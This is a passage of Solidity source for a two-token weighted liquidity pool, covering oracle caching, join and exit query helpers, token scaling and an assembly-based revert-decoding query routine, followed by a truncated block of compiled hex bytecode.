logBPTPrice = WeightedOracleMath._calcLogBPTPrice( _normalizedWeight0, balanceToken0, miscData.logTotalSupply() ); uint256 oracleCurrentIndex = miscData.oracleIndex(); uint256 oracleCurrentSampleInitialTimestamp = miscData.oracleSampleCreationTimestamp(); uint256 oracleUpdatedIndex = _processPriceData( oracleCurrentSampleInitialTimestamp, oracleCurrentIndex, logSpotPrice, logBPTPrice, miscData.logInvariant() ); if (oracleCurrentIndex != oracleUpdatedIndex) { // solhint-disable not-rely-on-time miscData = miscData.setOracleIndex(oracleUpdatedIndex); miscData = miscData.setOracleSampleCreationTimestamp(block.timestamp); _miscData = miscData; } } } /** * @dev Stores the logarithm of the invariant and BPT total supply, to be later used in each oracle update. Because * it is stored in miscData, which is read in all operations (including swaps), this saves gas by not requiring to * compute or read these values when updating the oracle. * * This function must be called by all actions that update the invariant and BPT supply (joins and exits). Swaps * also alter the invariant due to collected swap fees, but this growth is considered negligible and not accounted * for. */ function _cacheInvariantAndSupply() internal { bytes32 miscData = _miscData; if (miscData.oracleEnabled()) { miscData = miscData.setLogInvariant(WeightedOracleMath._toLowResLog(_lastInvariant)); miscData = miscData.setLogTotalSupply(WeightedOracleMath._toLowResLog(totalSupply())); _miscData = miscData; } } // Query functions /** * @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the * Vault with the same arguments, along with the number of tokens `sender` would have to supply. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryJoin( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptOut, uint256[] memory amountsIn) { InputHelpers.ensureInputLengthMatch(balances.length, 2); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onJoinPool, _downscaleUpArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptOut, amountsIn); } /** * @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the * Vault with the same arguments, along with the number of tokens `recipient` would receive. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryExit( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptIn, uint256[] memory amountsOut) { InputHelpers.ensureInputLengthMatch(balances.length, 2); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onExitPool, _downscaleDownArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptIn, amountsOut); } // Helpers function _getDueProtocolFeeAmounts( uint256[] memory balances, uint256[] memory normalizedWeights, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) private view returns (uint256[] memory) { // Initialize with zeros uint256[] memory dueProtocolFeeAmounts = new uint256[](2); // Early return if the protocol swap fee percentage is zero, saving gas. if (protocolSwapFeePercentage == 0) { return dueProtocolFeeAmounts; } // The protocol swap fees are always paid using the token with the largest weight in the Pool. As this is the // token that is expected to have the largest balance, using it to pay fees should not unbalance the Pool. dueProtocolFeeAmounts[_maxWeightTokenIndex] = WeightedMath._calcDueTokenProtocolSwapFeeAmount( balances[_maxWeightTokenIndex], normalizedWeights[_maxWeightTokenIndex], previousInvariant, currentInvariant, protocolSwapFeePercentage ); return dueProtocolFeeAmounts; } /** * @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`. * * Equivalent to `amounts = amounts.map(mutation)`. */ function _mutateAmounts( uint256[] memory toMutate, uint256[] memory arguments, function(uint256, uint256) pure returns (uint256) mutation ) private pure { toMutate[0] = mutation(toMutate[0], arguments[0]); toMutate[1] = mutation(toMutate[1], arguments[1]); } /** * @dev This function returns the appreciation of one BPT relative to the * underlying tokens. This starts at 1 when the pool is created and grows over time */ function getRate() public view returns (uint256) { // The initial BPT supply is equal to the invariant times the number of tokens. return Math.mul(getInvariant(), 2).divDown(totalSupply()); } // Scaling /** * @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if * it had 18 decimals. */ function _computeScalingFactor(IERC20 token) private view returns (uint256) { // Tokens that don't implement the `decimals` method are not supported. uint256 tokenDecimals = ERC20(address(token)).decimals(); // Tokens with more than 18 decimals are not supported. uint256 decimalsDifference = Math.sub(18, tokenDecimals); return 10**decimalsDifference; } /** * @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the * Pool. */ function _scalingFactor(bool token0) internal view returns (uint256) { return token0 ? _scalingFactor0 : _scalingFactor1; } /** * @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed * scaling or not. */ function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.mul(amount, scalingFactor); } /** * @dev Same as `_upscale`, but for an entire array (of two elements). This function does not return anything, but * instead *mutates* the `amounts` array. */ function _upscaleArray(uint256[] memory amounts) internal view { amounts[0] = Math.mul(amounts[0], _scalingFactor(true)); amounts[1] = Math.mul(amounts[1], _scalingFactor(false)); } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded down. */ function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divDown(amount, scalingFactor); } /** * @dev Same as `_downscaleDown`, but for an entire array (of two elements). This function does not return anything, * but instead *mutates* the `amounts` array. */ function _downscaleDownArray(uint256[] memory amounts) internal view { amounts[0] = Math.divDown(amounts[0], _scalingFactor(true)); amounts[1] = Math.divDown(amounts[1], _scalingFactor(false)); } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded up. */ function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divUp(amount, scalingFactor); } /** * @dev Same as `_downscaleUp`, but for an entire array (of two elements). This function does not return anything, * but instead *mutates* the `amounts` array. */ function _downscaleUpArray(uint256[] memory amounts) internal view { amounts[0] = Math.divUp(amounts[0], _scalingFactor(true)); amounts[1] = Math.divUp(amounts[1], _scalingFactor(false)); } function _getAuthorizer() internal view override returns (IAuthorizer) { // Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which // accounts can call permissioned functions: for example, to perform emergency pauses. // If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under // Governance control. return getVault().getAuthorizer(); } function _queryAction( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData, function(bytes32, address, address, uint256[] memory, uint256, uint256, bytes memory) internal returns (uint256, uint256[] memory, uint256[] memory) _action, function(uint256[] memory) internal view _downscaleArray ) private { // This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed // explanation. if (msg.sender != address(this)) { // We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of // the preceding if statement will be executed instead. // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(msg.data); // solhint-disable-next-line no-inline-assembly assembly { // This call should always revert to decode the bpt and token amounts from the revert reason switch success case 0 { // Note we are manually writing the memory slot 0. We can safely overwrite whatever is // stored there as we take full control of the execution and then immediately return. // We copy the first 4 bytes to check if it matches with the expected signature, otherwise // there was another revert reason and we should forward it. returndatacopy(0, 0, 0x04) let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000) // If the first 4 bytes don't match with the expected signature, we forward the revert reason. if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } // The returndata contains the signature, followed by the raw memory representation of the // `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded // representation of these. // An ABI-encoded response will include one additional field to indicate the starting offset of // the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the // returndata. // // In returndata: // [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ] // [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // // We now need to return (ABI-encoded values): // [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ] // [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // We copy 32 bytes for the `bptAmount` from returndata into memory. // Note that we skip the first 4 bytes for the error signature returndatacopy(0, 0x04, 32) // The offsets are 32-bytes long, so the array of `tokenAmounts` will start after // the initial 64 bytes. mstore(0x20, 64) // We now copy the raw memory array for the `tokenAmounts` from returndata into memory. // Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also // skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount. returndatacopy(0x40, 0x24, sub(returndatasize(), 36)) // We finally return the ABI-encoded uint256 and the array, which has a total length equal to // the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the // error signature. return(0, add(returndatasize(), 28)) } default { // This call should always revert, but we fail nonetheless if that didn't happen invalid() } } } else { _upscaleArray(balances); (uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); _downscaleArray(tokenAmounts); // solhint-disable-next-line no-inline-assembly assembly { // We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of // a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values // Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32 let size := mul(mload(tokenAmounts), 32) // We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there // will be at least one available slot due to how the memory scratch space works. // We can safely overwrite whatever is stored in this slot as we will revert immediately after that. let start := sub(tokenAmounts, 0x20) mstore(start, bptAmount) // We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb // We use the previous slot to `bptAmount`. mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb) start := sub(start, 0x04) // When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return // the `bptAmount`, the array length, and the error signature. revert(start, add(size, 68)) } } } }
0x608060405234801561001057600080fd5b50600436106102485760003560e01c806374f3b0091161013b578063aaabadc5116100b8578063d5c096c41161007c578063d5c096c4146104e1578063d73dd623146104f4578063dd62ed3e14610507578063f89f27ed1461051a578063ffd088eb1461052257610248565b8063aaabadc5146104a3578063b10be739146104ab578063b48b5b40146104be578063c0ff1a15146104c6578063d505accf146104ce57610248565b80638d928af8116100ff5780638d928af81461046557806395d89b411461046d5780639b02cdde146104755780639d2c110c1461047d578063a9059cbb1461049057610248565b806374f3b009146103f65780637ecebe0014610417578063851c1bb31461042a57806387ec68171461043d578063893d20e81461045057610248565b806338e9922e116101c957806360d1507c1161018d57806360d1507c1461038257806366188463146103a8578063679aefce146103bb5780636b843239146103c357806370a08231146103e357610248565b806338e9922e1461032457806338fff2d0146103375780634a6b0b151461033f57806355c67628146103595780636028bfd41461036157610248565b80631dccd830116102105780631dccd830146102cc57806323b872dd146102ec578063292c914a146102ff578063313ce567146103075780633644e5151461031c57610248565b806306fdde031461024d578063095ea7b31461026b57806316c38b3c1461028b57806318160ddd146102a05780631c0de051146102b5575b600080fd5b61025561052a565b6040516102629190614a93565b60405180910390f35b61027e61027936600461423b565b6105c0565b6040516102629190614970565b61029e6102993660046144a9565b6105d7565b005b6102a86105eb565b6040516102629190614993565b6102bd6105f1565b6040516102629392919061497b565b6102df6102da3660046143ef565b61061a565b6040516102629190614938565b61027e6102fa366004614186565b610722565b61029e6107a5565b61030f6107d9565b6040516102629190614aff565b6102a86107de565b61029e61033236600461484b565b6107ed565b6102a8610806565b61034761082a565b60405161026296959493929190614a69565b6102a8610885565b61037461036f3660046144e1565b610892565b604051610262929190614ae6565b61039561039036600461484b565b6108c3565b6040516102629796959493929190614a39565b61027e6103b636600461423b565b61090c565b6102a8610966565b6103d66103d1366004614331565b61098b565b60405161026291906148f4565b6102a86103f1366004614132565b610a3c565b6104096104043660046144e1565b610a5b565b60405161026292919061494b565b6102a8610425366004614132565b610b00565b6102a86104383660046145dd565b610b1b565b61037461044b3660046144e1565b610b6d565b610458610b92565b60405161026291906148e0565b610458610bb6565b610255610bda565b6102a8610c3b565b6102a861048b366004614750565b610c41565b61027e61049e36600461423b565b610df0565b610458610dfd565b6102a86104b9366004614734565b610e07565b6102a8610e29565b6102a8610e2f565b61029e6104dc3660046141c6565b610eeb565b6104096104ef3660046144e1565b611034565b61027e61050236600461423b565b611154565b6102a861051536600461414e565b61118a565b6102df6111b5565b6102a86111bf565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b60006105cd338484611246565b5060015b92915050565b6105df6112ae565b6105e8816112dc565b50565b60025490565b60008060006105fe61135a565b159250610609611377565b915061061361139b565b9050909192565b606081516001600160401b038111801561063357600080fd5b5060405190808252806020026020018201604052801561065d578160200160208202803683370190505b509050600061066d6008546113bf565b9050610677613ffe565b60005b845181101561071a5784818151811061068f57fe5b602002602001015191506106ad82602001516000141561013c6113cc565b60006106c883600001518585602001518660400151016113de565b905060006106df84600001518686604001516113de565b90506106f98460200151838303816106f357fe5b05611524565b86848151811061070557fe5b6020908102919091010152505060010161067a565b505050919050565b6001600160a01b038316600081815260016020908152604080832033808552925282205491926107609114806107585750838210155b6101976113cc565b61076b858585611537565b336001600160a01b0386161480159061078657506000198114155b15610798576107988533858403611246565b60019150505b9392505050565b6107ad611606565b6107b56112ae565b6107bf6001611619565b60006107c96105eb565b11156107d7576107d7611659565b565b601290565b60006107e86116a1565b905090565b6107f56112ae565b6107fd611606565b6105e88161173e565b7ff3a605da753e9de545841de10ea8bffbd1da9c7500020000000000000000003590565b60008060008060008060006008549050610843816117a7565b965061084e816117b3565b9550610859816117c0565b9450610864816113bf565b935061086f816117cd565b925061087a816117da565b915050909192939495565b60006107e86008546117da565b600060606108a2865160026117e7565b6108b7898989898989896117f46118ae61192c565b97509795505050505050565b60008060008060008060006108de610400891061013b6113cc565b60006108e989611a4b565b90506108f481611a5d565b959f949e50929c50909a509850965090945092505050565b3360009081526001602090815260408083206001600160a01b03861684529091528120548083106109485761094333856000611246565b61095c565b61095c338561095784876111f4565b611246565b5060019392505050565b60006107e86109736105eb565b61098561097e610e2f565b6002611ac0565b90611ae4565b606081516001600160401b03811180156109a457600080fd5b506040519080825280602002602001820160405280156109ce578160200160208202803683370190505b50905060006109de6008546113bf565b90506109e8614020565b60005b845181101561071a57848181518110610a0057fe5b60200260200101519150610a1d82600001518484602001516113de565b848281518110610a2957fe5b60209081029190910101526001016109eb565b6001600160a01b0381166000908152602081905260409020545b919050565b60608088610a85610a6a610bb6565b6001600160a01b0316336001600160a01b03161460cd6113cc565b610a9a610a90610806565b82146101f46113cc565b610aa387611b35565b6000606080610ab78d8d8d8d8d8d8d6117f4565b925092509250610ac78c84611b97565b610ad0826118ae565b610ad9816118ae565b610ae161135a565b15610aee57610aee611659565b909c909b509950505050505050505050565b6001600160a01b031660009081526005602052604090205490565b60007f000000000000000000000000a5bf2ddf098bb0ef6d120c98217dd6b141c74ee082604051602001610b5092919061489d565b604051602081830303815290604052805190602001209050919050565b60006060610b7d865160026117e7565b6108b789898989898989611c2a611cab61192c565b7f000000000000000000000000d94b5e345612b8b3d9d8d6b025743fdeb212aff690565b7f000000000000000000000000ba12222222228d8ba445958a75a0704d566bf2c890565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105b65780601f1061058b576101008083540402835291602001916105b6565b60095490565b6000610c4b611606565b8360800151610c5b610a6a610bb6565b610c66610a90610806565b60007f000000000000000000000000478bbc744811ee8310b461514bdc29d03739084d6001600160a01b031686602001516001600160a01b03161490506000610cae82611d09565b90506000610cbc8315611d09565b90506000610cc984611d5d565b90506000610cd78515611d5d565b9050610ce38985611db1565b9850610cef8884611db1565b9750610d188a60a0015186610d045789610d06565b8a5b87610d11578b610d13565b8a5b611dbd565b60008a516001811115610d2757fe5b1415610d95576000610d45610d3a610885565b60608d015190611ec3565b9050610d67610d61828d606001516111f490919063ffffffff16565b86611db1565b60608c01526000610d7b8c8c8c8787611f07565b9050610d878186611f26565b985050505050505050610de8565b610da38a6060015184611db1565b60608b01526000610db78b8b8b8686611f32565b9050610dc38186611f45565b9050610ddf610dd8610dd3610885565b611f51565b8290611f77565b97505050505050505b509392505050565b60006105cd338484611537565b60006107e8611fb9565b600080610e1e83610e196008546113bf565b612033565b905061079e81611524565b61040090565b60006060610e3b610bb6565b6001600160a01b031663f94d4668610e51610806565b6040518263ffffffff1660e01b8152600401610e6d9190614993565b60006040518083038186803b158015610e8557600080fd5b505afa158015610e99573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610ec19190810190614266565b50915050610ece81611b35565b6060610ed861206a565b9050610ee481836120d8565b9250505090565b610ef98442111560d16113cc565b6001600160a01b0387166000908152600560209081526040808320549051909291610f50917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918c918c918c9188918d91016149bb565b6040516020818303038152906040528051906020012090506000610f738261214a565b9050600060018288888860405160008152602001604052604051610f9a9493929190614a1b565b6020604051602081039080840390855afa158015610fbc573d6000803e3d6000fd5b5050604051601f1901519150610ffe90506001600160a01b03821615801590610ff657508b6001600160a01b0316826001600160a01b0316145b6101f86113cc565b6001600160a01b038b1660009081526005602052604090206001850190556110278b8b8b611246565b5050505050505050505050565b60608088611043610a6a610bb6565b61104e610a90610806565b611056611606565b60006110606105eb565b6110d0576110708b8b8b88612166565b94509050611085620f424082101560cc6113cc565b6110936000620f42406121ef565b6110a289620f424083036121ef565b6110ab84611cab565b604080516002808252606082018352909160208301908036833701905050925061113e565b6110d988611b35565b61110c87896000815181106110ea57fe5b60200260200101518a6001815181106110ff57fe5b6020026020010151611dbd565b61111b8b8b8b8b8b8b8b611c2a565b9095509350905061112c89826121ef565b61113584611cab565b61113e836118ae565b611146611659565b505097509795505050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105cd91859061095790866111c6565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606107e861206a565b6201de2090565b600082820161079e84821015836113cc565b600061079e8383605561120a565b600061079e83836056611231565b60006112048383111560016113cc565b50900390565b60006001821b1984168284611220576000611223565b60015b60ff16901b17949350505050565b6001600160401b03811b1992909216911b1790565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906112a1908590614993565b60405180910390a3505050565b60006112c56000356001600160e01b031916610b1b565b90506105e86112d48233612285565b6101916113cc565b80156112fc576112f76112ed611377565b42106101936113cc565b611311565b61131161130761139b565b42106101a96113cc565b6006805460ff19168215151790556040517f9e3a5e37224532dea67b89face185703738a228a6e8a23dee546960180d3be649061134f908390614970565b60405180910390a150565b600061136461139b565b4211806107e857505060065460ff161590565b7f00000000000000000000000000000000000000000000000000000000610441ed90565b7f00000000000000000000000000000000000000000000000000000000612bceed90565b60006105d182604b612375565b816113da576113da8161237d565b5050565b60006113ef824210156101386113cc565b4282900360006113fe85611a4b565b9050600061140b826123d0565b905061141c600082116101396113cc565b8281116114485780830380611431848a6123dc565b0261143c848a612420565b0194505050505061079e565b600061145387612464565b9050600061146082611a4b565b9050600061146d826123d0565b905061147e600082116101396113cc565b61148d8682111561013a6113cc565b505060008061149c8684612471565b9150915060006114ab836123d0565b6114b4836123d0565b039050801561150c5760006114c9848d612420565b6114d3848e612420565b03905060006114e1856123d0565b8903905082818302816114f057fe5b056114fb868f612420565b01995050505050505050505061079e565b611516838c612420565b97505050505050505061079e565b60006105d1655af3107a40008302612524565b6001600160a01b03831660009081526020819052604090205461155f828210156101966113cc565b6115766001600160a01b03841615156101996113cc565b6001600160a01b038085166000908152602081905260408082208585039055918516815220546115a690836111c6565b6001600160a01b0380851660008181526020819052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115f8908690614993565b60405180910390a350505050565b6107d761161161135a565b6101926113cc565b60085461162690826111d8565b6008556040517f3e350b41e86a8e10f804ade6d35340d620be35569cc75ac943e8bb14ab80ead19061134f908390614970565b600854611665816117cd565b156105e85761167f611678600954612901565b8290612945565b905061169b61169461168f6105eb565b612901565b8290612952565b60085550565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f3c10db97a6a6683b77e6ff6c915776503cf8bc830c2f6628f9976415065b7f177fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc661170e612960565b306040516020016117239594939291906149ef565b60405160208183030381529060405280519060200120905090565b61175164e8d4a5100082101560cb6113cc565b61176767016345785d8a000082111560ca6113cc565b60085461177490826111e6565b6008556040517fa9ba3ffe0b6c366b81232caab38605a0699ad5398d6cce76f91ee809e322dafc9061134f908390614993565b60006105d18282612964565b60006105d1826016612964565b60006105d182602c61298b565b60006105d1826055612995565b60006105d182605661299f565b6113da81831460676113cc565b6000606080606061180361206a565b905061180d61135a565b156118555761182387896000815181106110ea57fe5b600061182f828a6120d8565b90506118408983600954848b6129ac565b925061184f89846111f4612a90565b50611876565b60408051600280825260608201835290916020830190803683370190505091505b611881888287612b22565b909450925061189388846111f4612a90565b61189d81896120d8565b600955509750975097945050505050565b6118d5816000815181106118be57fe5b60200260200101516118d06001611d09565b612b8f565b816000815181106118e257fe5b602002602001018181525050611910816001815181106118fe57fe5b60200260200101516118d06000611d09565b8160018151811061191d57fe5b60200260200101818152505050565b3330146119ea576000306001600160a01b03166000366040516119509291906148b5565b6000604051808303816000865af19150503d806000811461198d576040519150601f19603f3d011682016040523d82523d6000602084013e611992565b606091505b5050905080600081146119a157fe5b60046000803e6000516001600160e01b0319166343adbafb60e01b81146119cc573d6000803e3d6000fd5b506020600460003e604060205260243d03602460403e601c3d016000f35b6119f386611b35565b60006060611a0a8b8b8b8b8b8b8b8b63ffffffff16565b5091509150611a1c818463ffffffff16565b8051601f1982018390526343adbafb603f1983015260200260231982016044820181fd5b505050505050505050565b60009081526007602052604090205490565b6000806000806000806000611a7188612baf565b9650611a7c88612bbc565b9550611a8788612bc9565b9450611a9288612bd6565b9350611a9d88612be3565b9250611aa888612bf0565b9150611ab3886123d0565b9050919395979092949650565b600082820261079e841580611add575083858381611ada57fe5b04145b60036113cc565b6000611af382151560046113cc565b82611b00575060006105d1565b670de0b6b3a764000083810290611b2390858381611b1a57fe5b041460056113cc565b828181611b2c57fe5b049150506105d1565b611b5c81600081518110611b4557fe5b6020026020010151611b576001611d09565b611ac0565b81600081518110611b6957fe5b60200260200101818152505061191081600181518110611b8557fe5b6020026020010151611b576000611d09565b6001600160a01b038216600090815260208190526040902054611bbf828210156101966113cc565b6001600160a01b03831660009081526020819052604090208282039055600254611be990836111f4565b6002556040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112a1908690614993565b60006060806060611c3961206a565b90506000611c47828a6120d8565b90506060611c5a8a84600954858c6129ac565b9050611c698a826111f4612a90565b60006060611c788c868b612bfd565b91509150611c898c826111c6612a90565b611c93858d6120d8565b600955909e909d50909b509950505050505050505050565b611cd281600081518110611cbb57fe5b6020026020010151611ccd6001611d09565b612c57565b81600081518110611cdf57fe5b60200260200101818152505061191081600181518110611cfb57fe5b6020026020010151611ccd60005b600081611d36577f00000000000000000000000000000000000000000000000000000000000000016105d1565b507f0000000000000000000000000000000000000000000000000000000000000001919050565b600081611d8a577f000000000000000000000000000000000000000000000000016345785d8a00006105d1565b507f0000000000000000000000000000000000000000000000000c7d713b49da0000919050565b600061079e8383611ac0565b600854611dc9816117cd565b8015611dd457508343115b15611ebd576000611e277f0000000000000000000000000000000000000000000000000c7d713b49da0000857f000000000000000000000000000000000000000000000000016345785d8a000086612c8a565b90506000611e5e7f0000000000000000000000000000000000000000000000000c7d713b49da000086611e59866117b3565b612cbf565b90506000611e6b846113bf565b90506000611e78856117c0565b90506000611e9182848787611e8c8b6117a7565b612cdb565b9050808314611a4057611ea48682612d32565b9550611eb08642612d40565b6008819055955050505050505b50505050565b6000828202611edd841580611add575083858381611ada57fe5b80611eec5760009150506105d1565b670de0b6b3a764000060001982015b046001019150506105d1565b6000611f1a858486858a60600151612d4e565b90505b95945050505050565b600061079e8383612b8f565b6000611f1a858486858a60600151612dc9565b600061079e8383612c57565b6000670de0b6b3a76400008210611f695760006105d1565b50670de0b6b3a76400000390565b6000611f8682151560046113cc565b82611f93575060006105d1565b670de0b6b3a764000083810290611fad90858381611b1a57fe5b826001820381611efb57fe5b6000611fc3610bb6565b6001600160a01b031663aaabadc56040518163ffffffff1660e01b815260040160206040518083038186803b158015611ffb57600080fd5b505afa15801561200f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e89190614605565b60008061203f83611a4b565b9050612058600061204f836123d0565b116101396113cc565b61206281856123dc565b949350505050565b6040805160028082526060808301845292839291906020830190803683370190505090506120986001611d5d565b816000815181106120a557fe5b6020026020010181815250506120bb6000611d5d565b816001815181106120c857fe5b6020908102919091010152905090565b670de0b6b3a764000060005b835181101561213a576121306121298583815181106120ff57fe5b602002602001015185848151811061211357fe5b6020026020010151612e3f90919063ffffffff16565b8390612e8e565b91506001016120e4565b506105d1600082116101376113cc565b60006121546116a1565b82604051602001610b509291906148c5565b60006060600061217584612eba565b9050612190600082600281111561218857fe5b1460ce6113cc565b606061219b85612ed0565b90506121a9815160026117e7565b6121b281611b35565b60606121bc61206a565b905060006121ca82846120d8565b905060006121d9826002611ac0565b6009929092555099919850909650505050505050565b6001600160a01b03821660009081526020819052604090205461221290826111c6565b6001600160a01b03831660009081526020819052604090205560025461223890826111c6565b6002556040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612279908590614993565b60405180910390a35050565b600073ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1b6122a4610b92565b6001600160a01b0316141580156122bf57506122bf83612ee6565b156122e7576122cc610b92565b6001600160a01b0316336001600160a01b03161490506105d1565b6122ef611fb9565b6001600160a01b0316639be2a8848484306040518463ffffffff1660e01b815260040161231e9392919061499c565b60206040518083038186803b15801561233657600080fd5b505afa15801561234a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061236e91906144c5565b90506105d1565b1c6103ff1690565b62461bcd60e51b6000908152602060045260076024526642414c23000030600a808404818106603090810160081b95839006959095019082900491820690940160101b939093010160c81b604452606490fd5b60006105d1828261298b565b6000808260028111156123eb57fe5b14156123fa5761236e83612baf565b600182600281111561240857fe5b14156124175761236e83612bc9565b61236e83612be3565b60008082600281111561242f57fe5b141561243e5761236e83612bbc565b600182600281111561244c57fe5b141561245b5761236e83612bd6565b61236e83612bf0565b60006105d1826001612f00565b600080806103ff8180805b8385116124e857600285850104612493818a612f00565b935061249e84611a4b565b92506124a9836123d0565b9150898210156124be578060010195506124e2565b898211156124d1576001810394506124e2565b82839750975050505050505061251d565b5061247c565b888110612506576125006124fb84612f11565b611a4b565b82612513565b816125136124fb85612464565b9650965050505050505b9250929050565b6000612553680238fd42c5cf03ffff19831215801561254c575068070c1cc73b00c800008313155b60096113cc565b60008212156125865761256882600003612524565b6a0c097ce7bc90715b34b9f160241b8161257e57fe5b059050610a56565b60006806f05b59d3b200000083126125c657506806f05b59d3b1ffffff1990910190770195e54c5dd42177f53a27172fa9ec6302628270000000006125fc565b6803782dace9d900000083126125f857506803782dace9d8ffffff19909101906b1425982cf597cd205cef73806125fc565b5060015b6064929092029168056bc75e2d6310000068ad78ebc5ac62000000841261264c5768ad78ebc5ac61ffffff199093019268056bc75e2d631000006e01855144814a7ff805980ff008400082020590505b6856bc75e2d6310000008412612688576856bc75e2d630ffffff199093019268056bc75e2d631000006b02df0ab5a80a22c61ab5a70082020590505b682b5e3af16b1880000084126126c257682b5e3af16b187fffff199093019268056bc75e2d63100000693f1fce3da636ea5cf85082020590505b6815af1d78b58c40000084126126fc576815af1d78b58c3fffff199093019268056bc75e2d63100000690127fa27722cc06cc5e282020590505b680ad78ebc5ac6200000841261273557680ad78ebc5ac61fffff199093019268056bc75e2d6310000068280e60114edb805d0382020590505b68056bc75e2d63100000841261276e5768056bc75e2d630fffff199093019268056bc75e2d63100000680ebc5fb4174612111082020590505b6802b5e3af16b188000084126127a7576802b5e3af16b187ffff199093019268056bc75e2d631000006808f00f760a4b2db55d82020590505b68015af1d78b58c4000084126127e05768015af1d78b58c3ffff199093019268056bc75e2d631000006806f5f177578893793782020590505b68056bc75e2d631000008481019085906002908280020505918201919050600368056bc75e2d631000008783020505918201919050600468056bc75e2d631000008783020505918201919050600568056bc75e2d631000008783020505918201919050600668056bc75e2d631000008783020505918201919050600768056bc75e2d631000008783020505918201919050600868056bc75e2d631000008783020505918201919050600968056bc75e2d631000008783020505918201919050600a68056bc75e2d631000008783020505918201919050600b68056bc75e2d631000008783020505918201919050600c68056bc75e2d631000008783020505918201919050606468056bc75e2d63100000848402058502059695505050505050565b60008061290d83612f1e565b9050655af3107a40006000821361292c57652d79883d20008203612936565b652d79883d200082015b8161293d57fe5b059392505050565b600061079e838383612f7a